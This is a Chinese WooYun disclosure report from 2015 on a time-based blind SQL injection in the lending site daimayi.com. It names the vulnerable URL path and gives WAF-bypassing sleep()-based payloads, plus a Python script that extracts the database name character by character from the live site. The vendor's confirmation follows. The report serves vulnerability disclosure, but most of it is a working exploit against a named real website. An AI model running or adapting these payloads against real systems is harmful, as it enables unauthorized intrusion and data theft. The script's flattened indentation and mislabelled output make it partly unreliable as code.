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缺陷编号:wooyun-2015-0115334

漏洞标题:贷蚂蚁主站存在SQL盲注漏洞(可绕过waf附验证脚本)

相关厂商:daimayi.com

漏洞作者: 路人甲

提交时间:2015-05-21 15:34

修复时间:2015-07-05 16:06

公开时间:2015-07-05 16:06

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-05-21: 细节已通知厂商并且等待厂商处理中
2015-05-21: 厂商已经确认,细节仅向厂商公开
2015-05-31: 细节向核心白帽子及相关领域专家公开
2015-06-10: 细节向普通白帽子公开
2015-06-20: 细节向实习白帽子公开
2015-07-05: 细节向公众公开

简要描述:

233

详细说明:

其实这个注入点很早就发现了,但是没绕过waf
http://www.daimayi.com/index.php/About/index/cate_id/*
测试payload:
if(now()=sysdate(),sleep(abs(ascii(mid(lower(database()),1,1))-104)),0)
if(now()=sysdate(),sleep(abs(ascii(mid(lower(database()),1,1))-114)),0)

漏洞证明:

20150521151135.jpg


current-db: huomayi
import httplib
import time
import urllib
import urllib2
payloads = list('abefghiwujklmnoy')
print 'start to retrive MySQL user:'
user = ''
for i in range(1,8):
for payload in payloads:
try:
s = "if(now()=sysdate(),sleep(abs(ascii(mid(lower(database()),%d,1))-%d)),0)" % (i,ord(payload))
start_time = time.time()
var1="http://www.daimayi.com/index.php/About/index/cate_id/"+s
content = urllib2.urlopen(var1,timeout=5)
data1 = content.read()
content.close()
print (time.time() - start_time)
print "current payload:",payload
if time.time() - start_time < 1:
user += payload
print '\n[in progress]', user
break
else:
print '.'
except:
#print '.'
continue
print '\nMySQL version is', user

修复方案:

~~

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-05-21 16:05

厂商回复:

谢谢, 已经安排技术人员开始修复

最新状态:

暂无